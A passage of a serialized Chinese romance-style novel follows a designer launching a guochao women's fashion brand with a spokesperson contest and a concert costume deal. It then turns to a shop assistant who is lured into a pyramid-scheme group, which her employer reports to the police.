几年前大火的一步裙，就是那部《公关小姐》带火的。虽说剧组的制作周期比较长，一年两年，甚至三年四年都有，但俗话说得好，好饭不怕晚，到时候把衣服直接送给演员们，也是一种营销手段。 到了晚上，唐晓曦回了通电话，“男演员的衣服是赞助，女演员的衣服没有。” 倒不是剧组厚此薄彼，而是品牌方主打休闲运动，跟剧本中女角色的定位实在不搭。他们倒是想给女演员安排一点儿上档次的衣服，可惜借借不来，买又买不起，只能作罢。 下午时江雪开车去服装厂拿了一部分样衣回来，江雪当机立断道：“我可以提供免费的服装赞助。” 江雪把样衣套在人台上，用数码相机拍照后，把照片传到电脑里，再通过邮箱发给唐晓曦。 相较于服装组租赁来的衣服，江雪提供的服装显然更符合演员身份，尤其是唐晓曦，她的角色定位是大小姐，之前的服装不管是款式还是质感，都不如江雪寄过去的几件样衣。 知道江雪要开服装店的人又多了一个，唐晓曦追问开业时间，江雪道：“元旦当天。” 唐晓曦算了算时间，还有两三个月，足够她拍完这部剧。经纪人说好要给她放几天假，到时候正好可以去参加江雪的开业典礼。 知道她要来，江雪笑眯眯的说：“好啊，正好请大明星给我热热场子。” “嘁。”唐晓曦说：“少来，你肯定有别的法子。” 她早就从春芽口中得知了江雪的过往经历，什么公主帽子风靡一时。唐晓曦这才知道原来她买了好几顶的公主帽子是江雪设计的，当初在剧组里，江雪提都没提过。 还有什么公开招募小模特，举办走秀活动，在店里放电视循环播放广告。现在她自己开店，唐晓曦才不信，江雪会什么都不做。 天气一天冷过一天，很快，报纸上的一则新闻引起了大家的注意。 女装品牌琼芳面向全社会招募代言人，十八岁以上皆可报名，通过才艺表演进行比赛，最后的冠军不仅可以担任代言人，琼芳还会为她量身定制礼服，拍摄广告，以及终身服装。 一场代言人比赛，就此拉开了序幕—— 作者有话说：[眼镜] 第六十五章 开店3 琼芳是什么牌子？ 不等大家对此表示疑惑, 就有人发现，商业街入口处多了个玻璃展示柜。紧接着，展示柜里多了个真人大小的假模特, 假模特穿着件款式稀奇的裙子, 头上还带着一顶帽子。 商业街来来往往的人流量巨大，很快有人认出这顶异常华丽的帽子, 不就是几年前流行过的公主帽？ 当年那群喜欢过公主帽的小姑娘，现在最大也不过十几岁，此时再看展示柜柜里的裙子, 顿时觉得自己当初为了搭配帽子, 哭着喊着让妈妈买的, 又或者做的公主裙算不了什么了。那些层层叠叠的白纱, 哪里有展示柜中色彩绚丽的红色、金色夺人眼球。 展示柜上方标注了品牌名——琼芳。 而展示柜旁边就是代言人比赛的报名处, 几个工作人员一边忙着发报名表, 收报名表, 一边还要抽空回答问题。 “这件裙子是高级定制, 是非卖品。” “高级定制就是私人订制, 由设计师为您亲自设计, 确保您拥有独一无二的衣服款式。” “也有常规款, 我们元旦当天开业，开业前三天都有优惠。” “您放心，我们的衣服款式和外面卖的不一样, 并且只卖当季, 数量有限, 先到先得。” …… 与此同时，凡是在童心服装店消费的顾客，都附送一张琼芳的优惠券。在童心服装店办理会员的顾客, 则收到了一张打折卡。优惠券和打折卡还可以叠加使用。 来给孩子买衣服的，十个人里有十一个都是妈妈，恰好贴合了琼芳的目标客户群体，只是顾客难免疑惑，“这个琼芳也是你们老板的店？” “不是。”营业员笑眯眯的解释，“我们是同一个服装设计师，不是同一个老板。” 在店里办卡的都是老顾客了，都知道童心服装店每一年每一季都会出新款，头几年的衣服还只是新，近两年的衣服越出越好看，有的款式穿在孩子身上，连大人都喜欢，只可惜童心服装店只卖童装，没有大人的尺码。 似乎是察觉到了顾客心中所想，营业员指了指模特身上的衣服道：“这件是我们当季主打，其实它还是套亲子装，不过我们这里不卖大人的衣服，要买的话得去琼芳，我们给您开张票，到那边也可以优惠。” 当季主打要贵一点儿，但顾客手里已经有了优惠券，打折卡，想来再去买女装能便宜不少钱，便下定决心，对营业员道：“给我们找一件试试。” 万事俱备，只欠东风。 报名表攒了厚厚一沓，原本江雪还担心没有人来报名，打算去海戏请几个大学生来充数，没想到现实远远超乎她的预料。 童心服装店几年前开过类似的活动，乔亚楠特意腾出时间来陪江雪看看现场，闻言笑道：“这算什么，你是没见过当年选礼仪小姐，全海市的漂亮姑娘都去了，总决赛还是在电视上播的呢。” 这场比赛江雪略有耳闻，后来看报纸的时候，还有京市的大学生发了篇文章，表示自己拒绝选美，引起好一阵的讨论，那段时间报纸上都是在说到底要不要选美，说来说去，到底没个定论。 江雪翻了翻报名表，发现有不少都是海戏的学生。报名表上还预留了位置贴证件照，有些照片明显化了妆，眉毛又粗又黑，活像把大砍刀，还有人纹了黑眼线，同样是粗粗的一条，脸蛋像是喝了酒一样红艳艳的。 乔亚楠在旁边“嗬”了声，“还是晒伤妆呢，真够时尚的。”她拿过报名表认真看了一会儿，忽然道：“你说我也去纹个眉怎么样？我看还有人纹眼线，我是不敢叫人在我眼睛上戳来戳去，一个不好，给我戳瞎了怎么办。” 报名表勾起了乔亚楠的爱美之心，江雪从一沓报名表里挑出十几张给她看，照片上的面孔各不相同，但都有一个共同点，就是她们的黑眉毛。 “你觉得好看吗？” 乔亚楠看了又看，一锤定音，“好看！” 江雪：“……” 江雪默默收起了报名表。 报名限时一星期，收来的报名表几百张，肯定不能让她们全部都来参加比赛。 江雪从艺术培训学校请了三个老师，分别是教舞蹈的，教唱歌的，还有教演戏的。先通过报名表预选，选出来一部分后再打电话通知她们参加初赛，最后一共选出来五十个人参加决赛。 开业当天，决赛在商业街举行。江雪特别定制了一批选票，选票分为两部分，中间带锯齿线，撕下来一半投票后，剩下的另一半可以用作优惠券使用。 虽然没有电视台全程录像，但现场还是来了不少媒体记者，江雪让助理过去送水，顺便交代等活动结束后请他们去酒店吃自助餐。 除此外，江雪还额外请了广告公司的摄像师，和照相馆的照相师。一个全程录像，一个给参赛选手们拍模特照，到时候把照片装订成册，就是现成的广告册子。 活动九点开始，一阵鞭炮声后，先走上舞台的是关嘉言，围观人群还在纳罕，只听音乐响起，正是电影《山外山》的主题曲。 江雪早就在台下安排好了托儿，关嘉言上台演出的消息经由他们的口传出去，一传十十传百，得知有明星演出，围观的人渐渐多了起来。 好在江雪做了十足的准备，直接从安泰拉了一直安保队伍过来维持秩序，一会儿的功夫，就摁住了好几个小偷小摸，甚至还有倒买倒卖优惠券的。 江雪这会儿正忙着在后台知道化妆师和发型师给模特们化妆做造型，她没有从美容院请化妆师，而是找了关嘉言之前拍的那部家庭喜剧的化妆师，请她带着团队过来。 “要素净，大方。”江雪提前和她沟通了造型效果，“不要那种舞台妆，日常一点儿就可以。” 江雪就是看中了她在剧组里给女演员们画的日常妆，这五十个模特等会儿穿的就是常规款的衣服，要是画上大浓妆，反而喧宾夺主。 唐晓曦越过重重人群挤了进来，大声喊江雪的名字。 后台地方狭小，江雪看过一遍，确定没什么问题后就出来了，站在门口问：“怎么了？” 唐晓曦挑眉，“不是说要我帮你热热场子吗？” 江雪上下打量了她一眼，唐晓曦现在也是小有名气的演员了，“你？你经纪人同意吗？” 明星走穴演出都是有定价的，江雪不是没去打听过，一个小有名气的歌手，光是出场费就几千块，唱歌另算，那些名气大的更不用说。 唐晓曦抱着胳膊，得意洋洋道：“我来之前就跟她说好了，自己家亲戚开店，我帮忙宣传宣传，总不能还要收钱吧。” 江雪赶紧谢过她，紧接着就推她去化妆。 唐晓曦的妆发肯定和模特们不一样，江雪给出细致的描述，“要柳叶眉，眉毛细一点儿，上眼皮用深色眼影略微加深一下，画一个上挑的眼型出来。腮红打在眼下，往眼周晕染。” 发型则是全都梳上去，在脑后盘起，江雪叫人赶紧去买了几根毛衣针，将红色和黄色的布料裁成一厘米宽的细条缠绕上去，用作发饰插在头上。 最后是衣服，江雪叫来崔丽丽，“你去二楼，把那件月影清梦拿来。” * 关嘉言连唱两首歌才从舞台上下来，天气虽冷，但他小脸红扑扑的，一下台就小跑去找江雪。 舅妈交给他的任务完成了！ 后台都是模特们在化妆换衣服，关嘉言远远的停下脚步，正想喊人叫舅妈出来，却在门口看到个熟悉的人，“武凌阿姨。” 武凌是跟着唐晓曦一起来的，唐晓曦的经纪公司打算给她出唱片，联系到了武凌所在的唱片公司，刚好两人还认识，便顺带着让唐晓曦在武凌的演唱会上当个热场嘉宾打打酱油。 演唱会十月份才开，现在正在筹备当中，演出地点早早定了下来，剩下的就是演出节目，舞台效果，以及演出服装。 武凌属于歌红人不红的那一类歌手，远没有达到红遍两岸三地那种地步。公司和经纪人都想给她从大牌那里借几件高档礼服撑撑场子，可惜对方对他们并不热络，借衣服可以，但只能借他们指定的那几件。 看过衣服照片后，武凌当场否了对方的提议，就连一直坚持要她穿大牌的经纪人都沉默了，因为他上网查过后，发现这几件礼服都是几年前的秀款，早就过时了。 最后还是决定找服装设计师，正在犹豫找谁的时候，作为嘉宾的唐晓曦把自己要穿的礼服照片发给了武凌。武凌这才知道，原来关嘉言的舅妈就是服装设计师，眼下还要开女装店。 关嘉言走到武凌身边，认认真真的跟她打招呼，“武凌阿姨，元旦快乐。” “元旦快乐。”武凌摸了摸他的头，“都长这么高了。” 正说着，后台的门开了。打扮一新的唐晓曦从里面走出来，立刻吸引了所有人的目光。 唐晓曦拎着裙摆，高兴的转了个圈，“怎么样，好看吧？” 关嘉言最捧场，拍手道：“晓曦姐姐最好看了！” 唐晓曦转完圈就后悔了，赶紧搓了搓露出来的胳膊，“不过真冷啊！” 众人：“……” 武凌真诚建议，“你还是赶紧去唱歌吧，不要说话了。” 等唐晓曦唱完，又给几位热情的粉丝签完名后，代言人决赛正式拉开序幕。 一条长长的红毯在商业街铺开，围观人群站在两侧，随着音乐响起，第一个模特缓缓走出。 …… “江女士。”武凌找到江雪，微笑开口道：“我想和你谈个合作。”—— 作者有话说：[眼镜]快要完结惹 第六十六章 开店4 每一个模特走出来后, 幕后的主持人都会用标准的播音腔把江雪提前准备好的稿件念出来。 代表吉祥如意的仙鹤，甘省壁画上的九色鹿，传承千年的花鸟云纹, 源自宋代画作的静谧淡雅, 将唐代仕女图和现代服饰相结合的独特款式……衣服颜色从浅到深，每十件一个系列, 一个五个系列，每个系列都有别出心裁的，古色古香的名字。 一开始大家的注意力还在衣服上, 但主持人的声音温柔和缓, 不知不觉间让人听了进去。 江雪安排好的气氛组在此时发挥了作用。 “原来这就叫国风啊！” “之前看报纸上的广告, 我还以为是电视剧里的那种古装呢。” “哈哈, 我不一样, 我以为又是旗袍呢！” …… 不到最后一刻, 谁都不知道结果是怎么样。江雪不由得捏紧了拳头, 深呼吸放松心情。 乔亚楠在旁边给她加油打气, “放心吧, 别的不说, 光是这些独一无二的款式, 就足够让人抢破头了。”更何况这些衣服确实好看呢！ 现在的人，既要追潮流，赶时尚, 也要独一无二。 第一个系列结束后, 围观人群动了起来, 有人去投票，也有人径直走向了已经打开的门店。 …… 外面的活动还在继续，店里已经挤满了人。为了方便投票, 每位模特身上都别着号码牌，现在这些号码反倒成了顾客叫营业员拿衣服的依据。 除了自己请的几个店员，江雪还特意从乔亚楠店里借来几个熟手，就这样还忙的不可开交，三个试衣间全都满满当当，不少人拿到合适的尺码，连试都没试，直接付款走人。 收银台前，收银员飞快的摁着计算机计算价格，报出总结时还要特地多说一句优惠多少多少钱。这是江雪专门交代的，人人都有占便宜的心理，多说这么一句，一些人就会觉得心里熨帖几分。 还有人问起唐晓曦身上穿的那件衣服，营业员微笑道：“那件是我们的定制礼服系列，叫月影清梦，目前只有一件。” “就那件了，给我包起来。” “不好意思女士，那件是样衣，如果您需要的话，需要提前预约，设计师会根据您的身材和要求重新制作。样衣只外借，不出售。” 另外有人问二楼是干什么的，营业员如实道：“二楼是私人订制室，需要预约才能开放。” 店里店外忙个不停，直到外面的活动结束，江雪才总算松了口气。 武凌就在这时找了过来，“江女士，我想和你谈个合作。” 商业街就有咖啡店，江雪去店里看了眼，发现自己压根儿挤不进去，交代一声后便跟武凌一起去了咖啡店。 坐下后，武凌开门见山的说明了自己的来意，“我十月份要开演唱会，这个晓曦应该已经跟你说过了。” 江雪点头，“对，她还说自己要去演唱会当热场嘉宾。” 武凌笑了笑，“我看了你借给她的那件礼服，听她说你要开女装店，所以才想着跟来看看。”顿了顿，她说：“说实话，出乎我的意料。” 武凌原本以为江雪的女装店和市面上的大差不差，但不管是唐晓曦身上的那件月影清梦，还是模特们身上的衣服，都让她有种眼前一亮又一亮的感觉。 听她这么说，江雪心里隐隐有了种猜测。 武凌肯定了她的这份猜测，“我想请你给我的演唱会做几件演出服。” 江雪没想到自己的第一位大客户就这么找上了门，她立马摆出工作的态度，微笑道：“请问您想要什么风格的演出服呢？” * 当天晚上，琼芳的开业活动就登上了电视新闻台，第二天的报纸上更是多了几篇关于琼芳的文章，几乎每个标题都写了四个字——国风服饰。 国风服饰，这个在二十一世纪兴起并逐渐得到普及的概念，在二十世纪的末尾被江雪呈现在公众面前，在一众港风、日韩风中卷起了一股小小的浪潮。 像一只蝴蝶在海边扇动翅膀，谁都不知道它最终会引起什么样的风浪。 最终选出的代言人是位在海戏读大二的大学生，刚刚过完二十岁生日，名字叫苏丽娜。 江雪问她想要一件什么样的礼服时，苏丽娜不好意思的抿唇一笑，说：“这个奖励我能预留吗？”她知道定制礼服都很贵，想以后拿奖的时候再来兑换奖励。 “当然可以。”江雪说：“你想什么时候来定制都可以。” 拍广告的事江雪不在行，直接委托给了广告公司，广告方案出了好几版，最后还是江雪给他们提供了一个思路。 一个身穿古装的人透过镜子看现代社会，最终被现代社会所吸引，就在她穿过镜子的瞬间，身上的衣服发生变化，广告词随之浮现——琼芳，传承千年文化。 广告公司早就熟悉了这套流程，只要钱到位，广告拍完后还负责对接电视台，很快，琼芳的广告就登上了电视屏幕，顺带着代言人苏丽娜也签约了经纪公司。 这么一番折腾下来，江雪不仅把自己这几年靠给童心服装做设计赚的钱都花了进去，还从关山越那边借了不少。虽然说在她对关山越说出“借”这个字时，收获了对方十分无奈的一个眼神。 江雪要把琼芳做成品牌，自然不能只靠商业街的一套两层商铺。 很快，来自四面八方的经销商就找了上来。 江雪一早就考察过市场，未来的分店肯定要开在海市，并且海市作为总部所在地，在高端定制线没有发展起来之前，这块市场不需要分销店。 但除了海市之外的京市、苏市、深市等地，都可以交给经销商售卖。 最终拿下京市分销合同的是乔亚楠，她在京市的童心服装店旁边又盘了一家店，原本打算扩大店面规模，现在决定直接把两家店放在一起。 “这不刚刚好嘛，妈妈带孩子来买衣服，买完孩子的，就该买自己的了嘛。” 深市那边，则是曲兆兴的小女儿通过关山越找了过来。她在曲兆兴的商场里开了家服装店，听说海市出了个新品牌，专做国风服饰，打听一番后顺藤摸瓜，从仓库里分走了一批货。 还有离海市最近的苏市，这次是几家服装店联合起来，分走了一批货源。 签完最后一份合同后，江雪不再耽误，带上被她从服装厂挖来当设计助理的崔丽丽一起飞往港市，和武凌的工作团队对接演出服的设计工作。 武凌在演唱会上一共要唱将近三十首歌，预计要准备六套演出服。光是从时间上，江雪就不可能把这项工作全都包揽下来，并且琼芳的主打国风，还要考虑和歌曲的调性和舞台风格是否搭配。 商议过后，最终定下来由江雪这边先出三套效果图，他们看过之后再做决定。 江雪将要求一一记下。 武凌的歌曲风格明显，演唱的曲目大都是节奏舒缓的情歌，江雪埋头画了一个月多，赶在三月结束前将三套效果图发了过去。 武凌选了其中两套，又经历了一个多月的改图修图，最终在五月前完成了设计稿。接下来便是成衣制作，这项手续最为繁杂，江雪从方娟那边打听到了苏市的两位裁缝师傅，用高薪将人请到了海市来制作成衣。 与此同时，琼芳新一季的服装也通过工厂验收，分别运送到了不同的服装店里。 新一季度的服装分为两种类型，一种延续了国风系列，另一种则是色彩绚丽的油画风格。 国风系列的主设计师依旧是江雪，而油画系列的主设计师，则是远在海外的徐琳琳。 出国之前，徐琳琳给江雪留下了自己的电子邮箱，两人一直没断了联系。徐琳琳在国内的成绩本来就不错，去到国外后，不到半年就通过了语言考试，随即进入一家大学继续读服装设计，辅修艺术鉴赏。 她爸妈在撕扯了一年多以后终于离婚，两人分别给她留了一套房和一笔钱，足以支撑她读完剩下的两年大学。 得知江雪要成立女装品牌，徐琳琳把自己分得的那套空房子借给江雪做工作室。 她解释道：“我在国外，房子空着也是空着，要是委托给中介，还怕他们给我改成那种合租房，还不如给你当工作室。” 房子的面积有一百平方左右，距离门店有三十分钟的路程，两室两厅的格局，已经做过了装修，就是里面的家具都被搬空，只剩下一套空壳子。 江雪找人在里面装上了空调，又搬来一张大桌子放在客厅，作为工作间，剩下两间房，其中一间用来放布料和各种工具，另外一间给裁缝做成衣制作室。 客厅的墙壁上挂着一方牌匾，是关山越送来的开业大礼，红木做底，上面是金光闪闪的五个大字——琼芳工作室。 牌匾送过来当天，崔丽丽看了好半天，精准评价道：“以后工作室缺钱了，这块红木都能卖不少钱。” 江雪：“……” 除此外，徐琳琳还毛遂自荐，问江雪需不需要设计师，并把自己的作品集发了过来。 每个设计师都要自己不同的设计风格，江雪对徐琳琳设计风格的印象还停留在大学新生欢迎会上的时装秀，以及后来的服装设计大赛。 徐琳琳发来的作品集打破了她的固有印象，不同于江雪从传统文化中汲取灵感，出国后的徐琳琳一改自己追逐潮流的设计风格。 或许是读了艺术鉴赏的缘故，她开始将各种绘画作品融入到自己的设计当中。国外油画盛行，是以她的作品总是在绚丽的色彩中带有一种厚重古朴的气质。 徐琳琳给她发邮件道：“你做国风，我做名画，怎么样？” 江雪心动了，这一季的油画风格便是首次尝试，倘若可以的话，不光是西方名画，华夏上下五千年，不知道有多少名家画作等待她们去发掘。 简而言之，如果这个系列成功的话，同样未来可期—— 作者有话说：预告一下，三张内完结[眼镜]最后的番外是言言十八岁演唱会 第六十七章 店内二三事1 七月, 年满十二岁的关嘉言荣获小学毕业生的身份。 红星小学所在的片区有两所初中，自从半年前开始，这两所初中的招生处就开始联系一些成绩比较好的学生家长, 早早下手抢生源, 把人拉到自己学校里。 加上现在对择校、借读、跨区就读之类的行为管控的并不像后来那么严格，所以除了这两所片区学校外, 江雪还接到了其他学校打来的电话。 其中有一所民办的艺术学校，除正常教学外，另外开设了美术、舞蹈、声乐等艺考用得上的专业班。教学条件远比大部分公办学校要好, 最起码每个班都装了空调。以前每年夏天, 关嘉言从学校回来都是满身的汗, 毕竟一个班里坐五十个人, 只在天花板上挂了几个吊扇, 转出花来都凉快不到哪儿去。 学费自然也很可观, 每学期两三万。打电话给江雪的招生老师一再承诺, 如果关嘉言去他们学校上学, 不仅学费减半, 以后学校有什么活动, 比如去外面参加演出, 又或者和剧组合作介绍演员，都会优先推荐关嘉言。 学校设有开放日，江雪还带着关嘉言去旁听了一节声乐课, 然后又参观了学校里的艺术楼、西餐厅、学生作品展览馆…… 然而这些都没能打动江雪, 她挑了个正常上学的日子, 等到了放学的时候，叫上关山越一起去校门口转了一圈，回来后两人就一起把这个学校从选项中划掉了。 一个学校怎么样, 从学生的状态就可以看出一二。尽管江雪心里还抱有上辈子对偶像姜衡的滤镜，但不可否认的是，这辈子的关嘉言还是个年仅十二岁，一只脚已经踏进青春期的青少年。 让江雪没有想到的是，关嘉言居然对这个学校也不怎么喜欢，原因是，“那个教唱歌的老师，还没有武凌阿姨唱的好呢。” 江雪：“……” 比专业歌手唱得好的人有几个？ 最后还是选了另一个片区的公办实验中学，刚好两年前他们在那边的高档小区楼里买了套大平层，一年前新房刚刚交付，装修完后又通了半年的风，赶在开学前就能搬过去。 在这边住了将近五年，关嘉言的童年记忆几乎被这套房子占去了一半。 属于他的房间里有舅妈给他做的贴在墙上记录身高的长颈鹿，舅妈做衣服的房间里摆满了各种各样稀奇古怪的东西，他常常进去躲猫猫、探险…… 当然，关嘉言最舍不得的还是占据他房间一整面墙的玻璃展示柜，那些空着的格子每年都会放新东西过去，有他参加活动的照片，也有他参演电影、电视剧的剧照…… 不知不觉间，当初觉得不知道什么时候才能放满的格子，居然有一多半都摆上了东西。 然后江雪就把他带到装修好的新房子里去转了一圈，新房子不仅是电梯房，还单独空了个房间出来，专门摆放那些独属于他的纪念品。 江雪指着这个房间道：“现在里面还空着，你想怎么布置就怎么布置。” 关嘉言：“！！！” 到底还是个半大孩子，关嘉言心里刚刚升起来的那点儿离愁别绪在看到这些后，立刻消散的一干二净，甚至转头问江雪道：“舅妈，我们能明天就搬过来吗？” 江雪好笑的拍拍他的后背，“空了大半年，还要请人来打扫一下，要想早点儿搬过来，回头让李荣看看你哪天不用去剧组。” 李荣就是关嘉言的经纪人。 海市电视台出品的那部家庭情景喜剧开始了第三部的拍摄，关嘉言角色不变。和去年一样，还是以关嘉言个人工作室的名义往剧组砸了笔投资。 除此外，琼芳还给剧组提供了一批女演员的服装，尤其是女主演身上穿的那几件，都是开业以来卖的最好的，等以后电视剧播了，刚好可以出个经典款复刻，顺带清一清库存。 * 把关嘉言送去剧组后，江雪先去门店转了一圈。 天热，在外面随便走两步都是一身的汗，江雪赶紧推门进去，店里的几个营业员正在说说笑笑，见到她来，赶忙打招呼道：“老板。” 江雪随意的一点头，顺便调笑了一句，“聊什么呢？这么开心。” “小徐说她在街上碰到了自己老乡，对方约她一起吃饭呢！” 说话的是大徐，两个人没啥关系，但正好同姓，店里的人索性就这么大徐小徐的叫她们两个。大徐性格爽朗，说话做事都风风火火的。小徐则和她刚好相反，性格温柔，对待顾客也总是细声细语。 “他乡遇故知。”江雪笑了笑，“是好事啊，什么时候吃饭？明天？明天给你放半天带薪假。” 小徐喜笑颜开：“谢谢老板。” 正值中午，店里没什么人，江雪摆摆手示意她们去吃饭，自己转身往楼上走，“我去楼上看看。” 几人应了一声，“好的老板。” 店里不能没有人，几个人商量好了，大徐小徐先去，回来后剩下的人再去。 店里开着空调，门一开就是股热浪袭来。大徐小徐沿着街道走了二十多分钟，热的满头是汗，终于到了她们经常吃饭的地方，一家开在巷子里的小面馆。 商业街也有吃饭的地方，但是分量小不说，还贵。大徐小徐刚来这边的时候不知道，一顿饭花了她们俩好几十块，还没吃饱。最后还是大徐脑子活泛，在周围的店铺转了一圈，打听到了这家开了十来年的小面馆。 小面馆面积不大，靠墙放着四张桌子，两边墙上各挂了一个会摇头的电风扇。环境确实一般，但一碗面才几块钱，分量足，味道也不错。 等面做好的功夫，两人有一搭没一搭的闲聊。 大徐问：“你的那个老乡，是干什么的啊？” 说起这个，小徐也一知半解，当时对方拉着她说了一长串，她就记住了几句，“说是什么大企业，还要有人推荐才能进。” 大徐咋舌，“这么高的工资，大企业啊，要求肯定高吧，你那个老乡，是大学生？”她见过的第一个大学生还是她们老板。听说学的是什么服装设计，店里的衣服就都是她设计的。 “哪能啊。”小徐撇撇嘴，“他就是我姥姥家邻居的二儿子媳妇的外甥，跟我一样，小学毕业，我俩几年前见过一次。” 大徐：“……” 大徐沉默了一会儿，小徐接着说：“他说能推荐我进公司，只要坐办公室，每个月最少有两千块呢！” 乖乖，两千块！ 大徐问：“你答应了？” “没。”小徐说：“我觉得现在就挺好的。”每个月都放假，工资有底薪有提成，卖的衣服越多，工资就越高，整条商业街，就她们店的衣服卖的最快，还有人大老远开车从外地跑来买呢。 小徐又说：“我说不去，他还劝我，说要带我去他们公司参观参观，还说他们公司有什么企业文化，大家都是兄弟姐妹，一起赚钱发大财呢！” “那他赚钱了吗？” “这我可不知道。”小徐说：“不过我看他穿着西装，还拿着这么大的一个皮包。”她伸手比划了一下，“看着鼓鼓囊囊的，不知道里面装的啥。” 正说着，老板端了两碗面放在桌子上，大徐从筷子篓里抽出两双筷子敲了敲，递给小徐一双，“那你去了可得好好看，万一真能赚大钱，别忘了也拉我一把。” 小徐笑着说：“放心，肯定忘不了你。快吃吧，吃完还要换王姐她们过来。”—— 作者有话说：放一个预收，点击专栏即可收藏《在年代文里救赎反派》，又名《劝学》 意外猝死前，江晨看完了一本年代刑侦小说 小说里，杀人凶手宋晓薇十六岁不到就被大嫂算计嫁人，不得已辍学远赴边疆 数年后回城探亲，却发现自己亲妈离世，弟弟被卖进山里不知所踪，妹妹被婚后家暴跳河自杀 出于报复，宋晓薇犯下命案，最终被主角抓获 江晨被里面和自己同名同姓的恶毒大嫂气的呼吸不畅，谁知两眼一闭一睁，她竟然成了书里那个霸占公公和丈夫赔偿金，逼宋晓薇嫁给鳏夫，赶弟妹出家门的恶毒大嫂 不仅如此，她还收获了一个名叫【读书改变命运】的系统，只要宋家姐弟能够考高分，拿奖状，她就能赚取积分，兑换失传已久的极品菜谱！ 拉住就要坐上火车的宋晓薇，江晨果断道：嫁人取消，都去上学！ 自此后，江晨一手擀面杖，一手鸡毛掸子，让宋家彻底没了安生日子。 古诗不会背？抄五十遍！ 写错字？抄一百遍！ 语数外，政史地，理化生，科科不落！ 小周考，大月考，期中考，考考不断！ 哭？哭也算时间！ 宋家家训第一条：好好学习，天天向上！ 又名：只要学不死，就往死里学！ * 人人都说宋家的祖坟冒了青烟，不仅三个儿女都考上了名牌大学，就连那个嫁到他家半年就守寡的江晨，也抡起大勺，在男人扎堆的国营饭店站稳了脚跟，后来更是开起了小餐馆，成了远近闻名的国家级大厨！ 排雷：1、大哥是真的死了，不是男主 2、男主暂定，女非男C 第六十八章 店内二三事2 急匆匆赶到派出所后, 江雪从大徐口中得知了事情经过。 小徐前一天中午从店里出发去见老乡，一直到下班都没回去。大徐本以为她见完老乡直接回住的地方了，就没放在心上。可等晚上回去一看, 发现小徐还没回去, 心里就泛起了嘀咕。 她们俩都是外地人，合租在同一套房子里。大徐在出租屋里左等右等, 等了一晚上都不见小徐回来，于是今天一大早，早饭没吃就坐车去了店里。 这时候大徐心里还抱有一丝希望, 心里想着就算小徐前一天晚上在老乡那里借住, 今天怎么说也得来上班, 就算有什么情况来不了, 也得给店里打个电话交代一声。 可大徐一直等到上班时间过了, 既没有见到小徐, 也没有等到电话。这才赶紧用店里的座机打电话给江雪, 江雪让她立刻报警。 江雪到的时候, 大徐已经把事情的来龙去脉对警察说了一遍, 包括小徐昨天走之前告诉她要去哪儿, 去见什么人, 要见的人和小徐是什么关系。 大徐一五一十的说完，询问她的警察面色渐渐凝重起来。尤其是在听到她说什么赚大钱、兄弟姐妹一家人时，眉头更是紧紧地皱了起来。 就连江雪都听出了不对劲。 什么工作能既轻松又赚钱, 还兄弟姐妹一家人, 但凡上过两天班的人都说不出这种话。并且江雪怎么听怎么觉得这些话耳熟, 好像她上辈子看过一部防诈骗的电影里，那些个骗子就是用相似的话术骗人去缅北。 正想着，询问的警察看向江雪, 问道：“你是她什么人？” “她在我店里打工。”江雪说：“我是她老板。” “老板。”警察点点头，“能联系到她家里人吗？” 江雪立马从兜里掏出一张纸条，“这是入职的时候，小徐写的入职表。” 警察接过来看了眼，发现这张入职表上有姓名、性别、身份证号、住址这些常见信息之外，还有个紧急联系人，不由得多看了江雪一眼，“来登记一下你的名字。” “江雪，江水的江，下雪的雪。” 警察写字的手一顿，“你就是前几年帮助抓获那个跨省人贩子的那个热心市民？” 江雪一愣，旋即点了点头，“是我。” “怪不得。”警察脸上露出一个笑。 海市企业多，外地来打工的人也多。由于通讯不便，有的人失踪几个月，甚至大半年都没人发现。等到家里人联系不上去报警，警察再去找他们打工的工厂时，那些老板就推脱责任，说是以为工人自己干不下去跑了，就没报警。 像小徐这种前一天失踪，第二天就来报警的是少数。更别说他们已经知道了带走小徐的人是谁，还有江雪拿来的入职表，这些对他们的调查十分有利。 “我们会尽快联系小徐的家里人，核实对方的身份。”犹豫了片刻，警察说：“我们怀疑，这件事应该和传销有关，哦，也就是你们常说的‘老鼠会’。” 江雪对这两个词并不陌生，因为这两年的报纸和电视上全是打击查处这类企业的新闻，却还是有人鬼迷心窍，踩着违法乱纪的红线谋取私利。 听到这句话的大徐更是面色惨白，想起前天吃饭的时候，她还跟小徐开玩笑说，要她去了好好看，要是有发财的机会别忘了拉自己一把就后悔不已。说不定就是因为她的这句话，小徐才会跟着那人去劳什子的公司参观。 再一想电视里说，那些人会把不听话的人饿着不许吃饭，过分的还会对人拳打脚踢，更是心里一颤。小徐可才十九岁，是店里年龄最小的啊！ 走出派出所的大徐哭成了泪人，平时在店里无论遇上多难缠的顾客都能镇定自若的人，这会儿却慌得不成样子，“老板，怎么办？” 江雪深吸一口气，让自己静下心来，“你刚刚说，小徐第一次见到她的那位老乡，是在什么地方？” “南阳路。”大徐飞快道。 南阳路那边市场林立，周围一圈都是工厂，住在那里的也大都是些工厂里的工人，人员构成可以说鱼龙混杂，真要一头扎进去找人，恐怕要找到猴年马月。 江雪努力回想上辈子自己学到的反诈知识，以及新闻里说的，这些“老鼠会”对待新成员会先采用言语劝说、利益诱惑的方式对人进行洗脑。如果不成功，才会换成其他手段…… “老板。”大徐抹了抹眼泪，抽泣道：“小徐不会有事吧？要不我们去找找她？” 江雪想了想说：“他们之所以选择小徐，就是看中她外来妹的身份，觉得就算她失踪也不会有人发现，说不定他们根本想不到我们会这么快报警。” 至于找人，江雪说：“找人的事不用你操心，昨天是不是一晚上没睡？” 找人的任务要交给专业的人去做，否则就是给警察添麻烦。江雪本来想说让大徐先回去歇着，但看到她担忧的目光，话到嘴边，换了个说法，“你先去店里守着，万一小徐打电话回来，你第一时间通知我。” 大徐重重点头，“好！” 送大徐回去的路上，江雪给关山越打了通电话，刚把事情说清楚，就听电话那头的人道：“我知道了，这就派人过去找。” 短短一句话，让江雪紧绷了一上午的神经得到了放松，她不忘交代道：“好，注意安全。” “放心。”关山越的声音里仿佛自带稳定人心的力量，“不会有事的。” * 昏暗的房间里，墙壁上写着各种各样的标语，水泥地面上放着十几个铺盖，有的铺盖甚至只是几块硬纸板，好在天气热，就算在地上睡一晚上也没什么大事。 小徐昨天才来，一进门就受到了热烈欢迎，就连那床睡觉的被子都是别人分给她的。只是从昨天到现在，要么有个人一直跟着她，和她寸步不离，要么就是和大家一起听课、唱歌、呼口号。 可他们最自己越热情，小徐越觉得害怕。 